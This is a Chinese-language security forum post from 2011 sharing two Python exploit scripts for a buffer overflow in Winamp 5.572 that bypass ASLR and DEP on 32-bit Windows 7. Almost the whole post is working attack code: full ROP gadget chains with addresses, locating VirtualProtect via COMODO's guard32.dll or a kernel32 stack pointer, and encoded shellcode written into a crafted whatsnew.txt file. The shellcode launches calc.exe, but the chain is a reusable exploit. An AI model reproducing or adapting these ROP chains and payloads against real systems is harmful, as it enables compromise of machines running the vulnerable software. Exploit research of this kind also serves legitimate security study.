好友
阅读权限40
听众
最后登录1970-1-1
|
本帖最后由 riusksk 于 2011-3-27 21:44 编辑
之前在exploit-db上看到关于winamp的溢出exploit:http://www.exploit-db.com/exploits/14068/,可绕过win7下的aslr和dep保护,不过其只能在64位win7上成功,而我的系统刚好是32位的,因此就自己动手写了一个。由于win7上的ASLR的保护,VirtualProtect函数的地址是非固定,因此必须动态地定位VP函数地址,最初我是借助COMODO主动防御软件上的guard32.dll中的指令来定位VP函数的,但在测试时必须关闭comodo,否则会报缓冲区溢出(comodo还是比较给力的!)。由于这种方法需要安装comodo才会成功,因此后面我又使用原exploit中的方法,在栈中寻找到指向kernel32的指针,再偏移找到VP函数,相对前一种会更稳定更通用些。不过,上面这两种方法在调试状态每次都可成功,而直接运行软件测试的时候,有时会不成功,此时你得多测试几次才行!下面将两份代码帖上,供大家交流探讨。
第一种方法:#!/usr/bin/python
#Exploit Title: Winamp v5.572 Overflow Exploit (Win7 ASLR and DEP Bypass)
#Date: 2011/3/24
#Author: riusksk
#Software Link: http://download.nullsoft.com/winamp/client/winamp5572_full_emusic-7plus_en-us.exe
#Tested on: Windows 7 x32 QiJian CN
#Badchars: '\x00\xff\x5c\x2f\x0a\x0d\x20'
#Notes: 1.Replace the original whatsnew.txt with the generated file in Winamp install dir,
# 2.Start up Winamp, click "Help" => "About Winamp..." => "version history".
print "[+] Winamp_5.572 Overflow Exploit(Win7 ASLR and DEP Bypass) - by riusksk"
print "[+] Building file......"
version = "Winamp 5.572"
rop = "A"*540 #Offset
rop += "\x1c\x10\x09\x07" #0x0709101c : # RETN
rop += "A"*16
#---------put stack pointer in edi & eax -------------
rop += "\xf4\xa8\x3e\x07" #0x073EA8F4 : # PUSH ESP # POP EDI # POP ESI # POP EBX # RETN 8 [Module : gen_ff.dll]
rop += "A"*8
rop += "\x86\xe8\x40\x07" #0x0740E886 : # MOV EAX,EDI # POP ESI # RETN [Module : gen_ff.dll] **
rop += "A"*12
#----------jmp over params------------
rop += "\x20\x50\xa6\x07" #0x07A65020 : # ADD ESP,18 # RETN 10 [Module : ml_rg.dll] **
#-------------locate VirtualProtect() addr------------
# use guard32.dll in COMODO Internet Security to get the pointer where point to VirtualProtect
#1002CA33 -FF25 E8F30310 JMP DWORD PTR DS:[1003F3E8] [Module : guard32.dll]
# jmp to here
#6FFF04C0 8BFF MOV EDI,EDI
#6FFF04C2 55 PUSH EBP
#6FFF04C3 8BEC MOV EBP,ESP
#6FFF04C5 -E9 E64BFF06 JMP kernel32.76FE50B0
# jmp to here
#76FE50B0 5D POP EBP
#76FE50B1 ^E9 02D0FBFF JMP
# jmp to here
#76FA20B8 -FF25 1019FA76 JMP DWORD PTR DS:[; KERNELBA.VirtualProtect
rop += "\x33\xca\x02\x10" #0x1002CA33 [Module : guard32.dll]
#---------set VP param---------
rop += "WWWW" #return address
rop += "XXXX" #lpAddress placeholder
rop += "YYYY" #dwsize placeholder
rop += "ZZZZ" #flNewProtect placeholder
rop += "\xa0\x29\x0f\x07" # lpflOldProtect (0x070f29a0 is a writable address in nde.dll)
#---------------------Set Param1-----------------------------
# make esi points to the param1 (return addr)
rop += "\x68\x4a\xb7\x07" #0x07B74A68 : # PUSH EDI # POP ESI # RETN 4 [Module : pmp_ipod.dll] **
rop += "A"*16
# make eax points to nops/shellcode
rop += "\x20\x2c\x75\x07" #0x07752C20 : # ADD EAX,240 # RETN [Module : in_mp3.dll] **
rop += "A"*4
# param1 = EAX
rop += "\x32\x9d\x68\x07" #0x07689D32 : # MOV DWORD PTR DS:[ESI+20],EAX # POP ESI # RETN [Module : in_dshow.dll] **
rop += "A"*4
#---------------------Set Param2-----------------------------
# make esi points to the param2(lpAddress)
rop += "\x68\x4a\xb7\x07" #0x07B74A68 : # PUSH EDI # POP ESI # RETN 4 [Module : pmp_ipod.dll] **
# increase ESI with 5
rop += "\x82\x55\x40\x07"*5 #0x07405582 : # INC ESI # RETN [Module : gen_ff.dll] **
# wirte eax to param2
rop += "\x32\x9d\x68\x07" #0x07689D32 : # MOV DWORD PTR DS:[ESI+20],EAX # POP ESI # RETN [Module : in_dshow.dll] **
rop += "A"*4
#---------------------Set Param3-----------------------------
# make esi points to the param3(dwSize)
rop += "\x68\x4a\xb7\x07" #0x07B74A68 : # PUSH EDI # POP ESI # RETN 4 [Module : pmp_ipod.dll] **
rop += "\x82\x55\x40\x07"*9 #0x07405582 : # INC ESI # RETN [Module : gen_ff.dll] **
# set eax = 0x30C
rop += "\x1a\x10\x09\x07" #0x0709101A : # XOR EAX,EAX # RETN [Module : libsndfile.dll]
rop += "\x45\x35\x10\x08" #0x08103545 : # ADD EAX,104 # POP EBP # RETN [Module : freetype.wac]
rop +="AAAA"
rop += "\x45\x35\x10\x08" #0x08103545 : # ADD EAX,104 # POP EBP # RETN [Module : freetype.wac]
rop +="AAAA"
rop += "\x45\x35\x10\x08" #0x08103545 : # ADD EAX,104 # POP EBP # RETN [Module : freetype.wac]
rop +="AAAA"
# wirte eax to param3
rop += "\x32\x9d\x68\x07" #0x07689D32 : # MOV DWORD PTR DS:[ESI+20],EAX # POP ESI # RETN [Module : in_dshow.dll] **
rop += "A"*4
#---------------------Set Param4-----------------------------
# make esi points to the param4(flNewProtect)
rop += "\x68\x4a\xb7\x07" #0x07B74A68 : # PUSH EDI # POP ESI # RETN 4 [Module : pmp_ipod.dll] **
rop += "\x82\x55\x40\x07"*13 #0x07405582 : # INC ESI # RETN [Module : gen_ff.dll] **
# set eax = 0x40
rop += "\x1a\x10\x09\x07" #0x0709101A : # XOR EAX,EAX # RETN [Module : libsndfile.dll]
rop += "\x3a\xd8\x8d\x07" #0x078DD83A : # ADD EAX,41 # RETN [Module : ml_disc.dll]
rop += "\xec\x11\x09\x07" #0x070911EC : # DEC EAX # RETN [Module : libsndfile.dll]
# wirte eax to param3
rop += "\x32\x9d\x68\x07" #0x07689D32 : # MOV DWORD PTR DS:[ESI+20],EAX # POP ESI # RETN [Module : in_dshow.dll] **
rop += "A"*4
#-------------------call VirtualProtect()-----------------
# make edi points to callVP
rop += "\x40\x4e\x95\x07"*28 #0x07954E40 : # INC EDI # RETN [Module : ml_local.dll] **
rop += "\x86\xe8\x40\x07" #0x0740E886 : # MOV EAX,EDI # POP ESI # RETN [Module : gen_ff.dll] **
rop += "A"*4
rop += "\xca\x6d\x5c\x07" #0x075C6DCA : # XCHG EAX,ESP # RETN [Module : gen_ml.dll] **
nops = "\x90"*500
# msfpayload windows/exec CMD=calc.exe R | msfencode -b '\x00\xff\x5c\x2f\x0a\x0d\x20' -t perl
# 312 bytes shellcode
shellcode = ("\xbb\xd2\xaa\xfa\x33\x31\xc9\xb1\x33\xdb\xd3\xd9\x74\x24" +
"\xf4\x5e\x83\xc6\x04\x31\x5e\x0b\x03\x5e\xd9\x48\x0f\xcf" +
"\x35\x05\xf0\x30\xc5\x76\x78\xd5\xf4\xa4\x1e\x9d\xa4\x78" +
"\x54\xf3\x44\xf2\x38\xe0\xdf\x76\x95\x07\x68\x3c\xc3\x26" +
"\x69\xf0\xcb\xe5\xa9\x92\xb7\xf7\xfd\x74\x89\x37\xf0\x75" +
"\xce\x2a\xfa\x24\x87\x21\xa8\xd8\xac\x74\x70\xd8\x62\xf3" +
"\xc8\xa2\x07\xc4\xbc\x18\x09\x15\x6c\x16\x41\x8d\x07\x70" +
"\x72\xac\xc4\x62\x4e\xe7\x61\x50\x24\xf6\xa3\xa8\xc5\xc8" +
"\x8b\x67\xf8\xe4\x06\x79\x3c\xc2\xf8\x0c\x36\x30\x85\x16" +
"\x8d\x4a\x51\x92\x10\xec\x12\x04\xf1\x0c\xf7\xd3\x72\x02" +
"\xbc\x90\xdd\x07\x43\x74\x56\x33\xc8\x7b\xb9\xb5\x8a\x5f" +
"\x1d\x9d\x49\xc1\x04\x7b\x3c\xfe\x57\x23\xe1\x5a\x13\xc6" +
"\xf6\xdd\x7e\x8d\x09\x6f\x05\xe8\x09\x6f\x06\x5b\x61\x5e" +
"\x8d\x34\xf6\x5f\x44\x71\x08\x2a\xc5\xd0\x80\xf3\x9f\x60" +
"\xcd\x03\x4a\xa6\xeb\x87\x7f\x57\x08\x97\xf5\x52\x55\x1f" +
"\xe5\x2e\xc6\xca\x09\x9c\xe7\xde\x69\x43\x7b\x82\x43\xe6" +
"\xfb\x21\x9c\xe2")
expfile = open('whatsnew.txt','w')
expfile.write(version + rop + nops + shellcode)
print "[+] whatsnew.txt generated."
expfile.close()
测试结果,注意比较启动前后的时间:
重启前:
重启后:
第二种方法:#!/usr/bin/python
#Exploit Title: Winamp v5.572 Overflow Exploit (Win7 ASLR and DEP Bypass)
#Date: 2011/3/24
#Author: riusksk
#Software Link: http://download.nullsoft.com/winamp/client/winamp5572_full_emusic-7plus_en-us.exe
#Tested on: Windows 7 x32 QiJian CN
#Badchars: '\x00\xff\x5c\x2f\x0a\x0d\x20'
#Notes: 1.Replace the original whatsnew.txt with the generated file in Winamp install dir,
# 2.Start up Winamp, click "Help" => "About Winamp..." => "version history".
print "[+] Winamp_5.572 Overflow Exploit(Win7 ASLR and DEP Bypass) - by riusksk"
print "[+] Building file......"
version = "Winamp 5.572"
rop = "A"*540 #Offset
rop += "\x1c\x10\x09\x07" #0x0709101c : # RETN
rop += "A"*16
#---------put stack pointer in edi & eax -------------
rop += "\xf4\xa8\x3e\x07" #0x073EA8F4 : # PUSH ESP # POP EDI # POP ESI # POP EBX # RETN 8 [Module : gen_ff.dll]
rop += "A"*8
rop += "\x86\xe8\x40\x07" #0x0740E886 : # MOV EAX,EDI # POP ESI # RETN [Module : gen_ff.dll] **
rop += "A"*12
#----------jmp over params------------
rop += "\x20\x50\xa6\x07" #0x07A65020 : # ADD ESP,18 # RETN 10 [Module : ml_rg.dll] **
#---------set VP param---------
rop += "VPVP" #VirtualProtect()
rop += "WWWW" #return address
rop += "XXXX" #lpAddress placeholder
rop += "YYYY" #dwsize placeholder
rop += "ZZZZ" #flNewProtect placeholder
rop += "\xa0\x29\x0f\x07" # lpflOldProtect (0x070f29a0 is a writable address in nde.dll)
#---------------Grab a kernel32 pointer from the stack--------------------
# kernel32 pointer = stack pointer(rop entry) - 0x3B0
rop += "\x74\x6c\x96\x07" #0x07966C74 : # XCHG EAX,EDX # RETN [Module : ml_local.dll]
rop += "A"*16
rop += "\x20\x2c\x75\x07" #0x07752C20 : # ADD EAX,240 # RETN [Module : in_mp3.dll] **
rop += "\x45\x35\x10\x08" #0x08103545 : # ADD EAX,104 # POP EBP # RETN [Module : freetype.wac] **
rop += "A"*4
rop += "\x8c\x8f\x10\x08" #0x08108F8C : # ADD EAX,6C # RETN [Module : freetype.wac] **
rop += "\xe5\x1f\x36\x08" #0x08361FE5 : # SUB EAX,30 # RETN [Module : jnetlib.w5s] **
rop += "\x74\x6c\x96\x07" #0x07966C74 : # XCHG EAX,EDX # RETN [Module : ml_local.dll]
rop += "\xb3\x6a\x6c\x07" #0x076C6AB3 : # SUB EAX,EDX # RETN [Module : in_flv.dll]
rop += "\xa7\x41\x11\x07" #0x071141A7 : # MOV EAX,DWORD PTR DS:[EAX] # RETN [Module : tataki.dll]
# eax = kernel32 pointer
#---------------Change kernel32 pointer to VirtualProtect()-----------------
# VirtualProtect addr = kernel32 pointer + 0xA33F
rop += "\x74\x6c\x96\x07" #0x07966C74 : # XCHG EAX,EDX # RETN [Module : ml_local.dll] eax=0x3B0
rop += "\x45\x35\x10\x08" #0x08103545 : # ADD EAX,104 # POP EBP # RETN [Module : freetype.wac] eax=0x4B4
rop +="AAAA"
rop += "\x67\x40\x5b\x07" #0x075B4067 : # MOV ECX,EAX # MOV EAX,ECX # RETN [Module : gen_ml.dll]
rop += "\xfd\x6b\x71\x07" #0x07716BFD : # ADD EAX,ECX # RETN [Module : in_mkv.dll] ** eax=0x968
rop += "\x67\x40\x5b\x07" #0x075B4067 : # MOV ECX,EAX # MOV EAX,ECX # RETN [Module : gen_ml.dll]
rop += "\xfd\x6b\x71\x07" #0x07716BFD : # ADD EAX,ECX # RETN [Module : in_mkv.dll] ** eax=0x12d0
rop += "\x67\x40\x5b\x07" #0x075B4067 : # MOV ECX,EAX # MOV EAX,ECX # RETN [Module : gen_ml.dll]
rop += "\xfd\x6b\x71\x07" #0x07716BFD : # ADD EAX,ECX # RETN [Module : in_mkv.dll] ** eax=0x25a0
rop += "\x67\x40\x5b\x07" #0x075B4067 : # MOV ECX,EAX # MOV EAX,ECX # RETN [Module : gen_ml.dll]
rop += "\xfd\x6b\x71\x07" #0x07716BFD : # ADD EAX,ECX # RETN [Module : in_mkv.dll] ** eax=0x4b40
rop += "\x67\x40\x5b\x07" #0x075B4067 : # MOV ECX,EAX # MOV EAX,ECX # RETN [Module : gen_ml.dll]
rop += "\xfd\x6b\x71\x07" #0x07716BFD : # ADD EAX,ECX # RETN [Module : in_mkv.dll] ** eax=0x9680
rop += "\x20\x2c\x75\x07"*4 #0x07752C20 : # ADD EAX,240 # RETN [Module : in_mp3.dll] ** eax=0x9f80
rop += "\x45\x35\x10\x08" #0x08103545 : # ADD EAX,104 # POP EBP # RETN [Module : freetype.wac] eax=0xa084
rop +="AAAA"
rop += "\x45\x35\x10\x08" #0x08103545 : # ADD EAX,104 # POP EBP # RETN [Module : freetype.wac] eax=0xa188
rop +="AAAA"
rop += "\x45\x35\x10\x08" #0x08103545 : # ADD EAX,104 # POP EBP # RETN [Module : freetype.wac] eax=0xa28c
rop +="AAAA"
rop += "\x45\x35\x10\x08" #0x08103545 : # ADD EAX,104 # POP EBP # RETN [Module : freetype.wac] eax=0xa390
rop +="AAAA"
rop += "\xca\x74\x33\x08" #0x083374CA : # ADD EAX,10 # RETN [Module : jnetlib.w5s] ** eax=0xA3A0
rop += "\x08\x13\x8d\x07" #0x078D1308 : # SUB EAX,41 # RETN [Module : ml_disc.dll] eax=0xA35F
rop += "\xc6\xd7\x8d\x07" #0x078DD7C6 : # SUB EAX,20 # RETN [Module : ml_disc.dll] eax=0xa33f
rop += "\x74\x6c\x96\x07" #0x07966C74 : # XCHG EAX,EDX # RETN [Module : ml_local.dll]
rop += "\x10\x7d\x0b\x07" #0x070B7D10 : # ADD EAX,EDX # RETN [Module : libsndfile.dll]
# eax = VirtualProtect
#---------------------Write VirtualProtect addr to stack-----------------
# make esi points to "VPVP"
rop += "\x68\x4a\xb7\x07" #0x07B74A68 : # PUSH EDI # POP ESI # RETN 4 [Module : pmp_ipod.dll] **
rop += "\xdb\xd6\x10\x08"*5 #0x0810D6DB : # DEC ESI # RETN [Module : freetype.wac] **
rop += "\x32\x9d\x68\x07" #0x07689D32 : # MOV DWORD PTR DS:[ESI+20],EAX # POP ESI # RETN [Module : in_dshow.dll] **
rop += "A"*4
#---------------------Set Param1-----------------------------
# make esi points to the param1 (return addr)
rop += "\x68\x4a\xb7\x07" #0x07B74A68 : # PUSH EDI # POP ESI # RETN 4 [Module : pmp_ipod.dll] **
# make eax points to nops/shellcode
rop += "\xc0\x3c\x32\x08" #0x08323CC0 : # MOV EAX,EDI # RETN [Module : jnetlib.w5s] **
rop += "A"*4
rop += "\x20\x2c\x75\x07" #0x07752C20 : # ADD EAX,240 # RETN [Module : in_mp3.dll] **
rop += "\x8c\x8f\x10\x08" #0x08108F8C : # ADD EAX,6C # RETN [Module : freetype.wac] **
# param1 = EAX
rop += "\x32\x9d\x68\x07" #0x07689D32 : # MOV DWORD PTR DS:[ESI+20],EAX # POP ESI # RETN [Module : in_dshow.dll] **
rop += "A"*4
#---------------------Set Param2-----------------------------
# make esi points to the param2(lpAddress)
rop += "\x68\x4a\xb7\x07" #0x07B74A68 : # PUSH EDI # POP ESI # RETN 4 [Module : pmp_ipod.dll] **
# increase ESI with 5
rop += "\x82\x55\x40\x07"*5 #0x07405582 : # INC ESI # RETN [Module : gen_ff.dll] **
# wirte eax to param2
rop += "\x32\x9d\x68\x07" #0x07689D32 : # MOV DWORD PTR DS:[ESI+20],EAX # POP ESI # RETN [Module : in_dshow.dll] **
rop += "A"*4
#---------------------Set Param3-----------------------------
# make esi points to the param3(dwSize)
rop += "\x68\x4a\xb7\x07" #0x07B74A68 : # PUSH EDI # POP ESI # RETN 4 [Module : pmp_ipod.dll] **
rop += "\x82\x55\x40\x07"*9 #0x07405582 : # INC ESI # RETN [Module : gen_ff.dll] **
# set eax = 0x30C
rop += "\x1a\x10\x09\x07" #0x0709101A : # XOR EAX,EAX # RETN [Module : libsndfile.dll]
rop += "\x45\x35\x10\x08" #0x08103545 : # ADD EAX,104 # POP EBP # RETN [Module : freetype.wac]
rop +="AAAA"
rop += "\x45\x35\x10\x08" #0x08103545 : # ADD EAX,104 # POP EBP # RETN [Module : freetype.wac]
rop +="AAAA"
rop += "\x45\x35\x10\x08" #0x08103545 : # ADD EAX,104 # POP EBP # RETN [Module : freetype.wac]
rop +="AAAA"
# wirte eax to param3
rop += "\x32\x9d\x68\x07" #0x07689D32 : # MOV DWORD PTR DS:[ESI+20],EAX # POP ESI # RETN [Module : in_dshow.dll] **
rop += "A"*4
#---------------------Set Param4-----------------------------
# make esi points to the param4(flNewProtect)
rop += "\x68\x4a\xb7\x07" #0x07B74A68 : # PUSH EDI # POP ESI # RETN 4 [Module : pmp_ipod.dll] **
rop += "\x82\x55\x40\x07"*13 #0x07405582 : # INC ESI # RETN [Module : gen_ff.dll] **
# set eax = 0x40
rop += "\x1a\x10\x09\x07" #0x0709101A : # XOR EAX,EAX # RETN [Module : libsndfile.dll]
rop += "\x3a\xd8\x8d\x07" #0x078DD83A : # ADD EAX,41 # RETN [Module : ml_disc.dll]
rop += "\xec\x11\x09\x07" #0x070911EC : # DEC EAX # RETN [Module : libsndfile.dll]
# wirte eax to param3
rop += "\x32\x9d\x68\x07" #0x07689D32 : # MOV DWORD PTR DS:[ESI+20],EAX # POP ESI # RETN [Module : in_dshow.dll] **
rop += "A"*4
#-------------------call VirtualProtect()-----------------
# make edi points to callVP
rop += "\x40\x4e\x95\x07"*28 #0x07954E40 : # INC EDI # RETN [Module : ml_local.dll] **
rop += "\x86\xe8\x40\x07" #0x0740E886 : # MOV EAX,EDI # POP ESI # RETN [Module : gen_ff.dll] **
rop += "A"*4
rop += "\xca\x6d\x5c\x07" #0x075C6DCA : # XCHG EAX,ESP # RETN [Module : gen_ml.dll] **
nops = "\x90"*500
# msfpayload windows/exec CMD=calc.exe R | msfencode -b '\x00\xff\x5c\x2f\x0a\x0d\x20' -t perl
# 312 bytes shellcode
shellcode = ("\xbb\xd2\xaa\xfa\x33\x31\xc9\xb1\x33\xdb\xd3\xd9\x74\x24" +
"\xf4\x5e\x83\xc6\x04\x31\x5e\x0b\x03\x5e\xd9\x48\x0f\xcf" +
"\x35\x05\xf0\x30\xc5\x76\x78\xd5\xf4\xa4\x1e\x9d\xa4\x78" +
"\x54\xf3\x44\xf2\x38\xe0\xdf\x76\x95\x07\x68\x3c\xc3\x26" +
"\x69\xf0\xcb\xe5\xa9\x92\xb7\xf7\xfd\x74\x89\x37\xf0\x75" +
"\xce\x2a\xfa\x24\x87\x21\xa8\xd8\xac\x74\x70\xd8\x62\xf3" +
"\xc8\xa2\x07\xc4\xbc\x18\x09\x15\x6c\x16\x41\x8d\x07\x70" +
"\x72\xac\xc4\x62\x4e\xe7\x61\x50\x24\xf6\xa3\xa8\xc5\xc8" +
"\x8b\x67\xf8\xe4\x06\x79\x3c\xc2\xf8\x0c\x36\x30\x85\x16" +
"\x8d\x4a\x51\x92\x10\xec\x12\x04\xf1\x0c\xf7\xd3\x72\x02" +
"\xbc\x90\xdd\x07\x43\x74\x56\x33\xc8\x7b\xb9\xb5\x8a\x5f" +
"\x1d\x9d\x49\xc1\x04\x7b\x3c\xfe\x57\x23\xe1\x5a\x13\xc6" +
"\xf6\xdd\x7e\x8d\x09\x6f\x05\xe8\x09\x6f\x06\x5b\x61\x5e" +
"\x8d\x34\xf6\x5f\x44\x71\x08\x2a\xc5\xd0\x80\xf3\x9f\x60" +
"\xcd\x03\x4a\xa6\xeb\x87\x7f\x57\x08\x97\xf5\x52\x55\x1f" +
"\xe5\x2e\xc6\xca\x09\x9c\xe7\xde\x69\x43\x7b\x82\x43\xe6" +
"\xfb\x21\x9c\xe2")
expfile = open('whatsnew.txt','w')
expfile.write(version + rop + nops + shellcode)
print "[+] whatsnew.txt generated."
expfile.close()
测试结果:
|
免费评分
-
查看全部评分
|